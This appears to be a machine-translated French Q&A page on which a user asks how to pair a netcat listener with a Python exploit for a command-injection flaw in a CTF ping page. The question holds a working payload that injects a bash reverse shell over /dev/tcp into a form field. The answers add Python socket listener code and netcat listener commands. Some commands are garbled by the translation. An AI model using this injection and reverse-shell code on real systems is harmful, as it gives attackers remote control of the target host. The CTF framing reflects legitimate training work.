web-dev-qa-db-fra.com

Créez un auditeur NetCat et exécutez Reverse Shell dans le même script

Je codifie un exploit dans python qui exploite une vulnérabilité d'injection de commandement pour un CTF et je me demande comment puis-je lancer un auditeur NetCat, puis envoyer la charge utile à l'hôte distant et une fois le La connexion est stabilisée l'exécution de script se termine et me tombe à la connexion stable.

Ceci est mon code:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

Ce que je veux faire, c'est quelque chose comme ça:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse Shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

Je ne suis pas sûr que si une telle chose est encore possible. Une idée?

3
Nucklear

En règle générale, vous venez de démarrer l'auditeur séparément: ouvrez un nouveau terminal et exécutez votre nc -l -p 9999. Laissez-la en attente, alors tirer votre exploit à l'origine de la machine distante de démarrer une coque inverse.

Il existe des tas de choses qui peuvent se tromper dans ce processus, généralement juste la liaison d'une coquille est beaucoup plus facile que d'obtenir une enveloppe inverse pour fonctionner lorsque vous êtes aveugle.


Vous devez ouvrir une prise d'écoute, puis interagir avec elle une fois qu'il a reçu une connexion.

Donc, ouvrez d'abord votre prise d'écoute (ceci remplace netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

Vous pouvez utiliser une fonction simple interact qui prend une prise:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Ensuite, vous pouvez les utiliser avec quelque chose comme:

interact(s.accept())

Cela pourrait nécessiter un peu de peaufine, mais c'est la mise en page de base.

4
lynks

Dans votre machine Kali, vous pourriez pousser l'auditeur Netcat à l'arrière-plan en émettant:

nC -LVP [Port] & (N'utilisez pas les crochets de votre commande)

Le curseur peut être sur une nouvelle ligne vierge, mais pas de soucis, il suffit de toucher une entrée et cela vous ramènera où vous pouvez émettre une autre commande. N'hésitez pas à regarder le travail en arrière-plan en utilisant:

travaux

Vous verrez des emplois indiqués avec un numéro, un statut, suivi du travail. Vous pouvez tuer des emplois en émettant:

tuer% 1

Le 1 étant le travail que vous souhaitez tuer. Quoi qu'il en soit, l'auditeur NC sera en arrière-plan et vous pouvez exécuter votre python EXPLOIT Script qui, si vous réussissez, devrait élever votre shell/connexion.

0
Matthew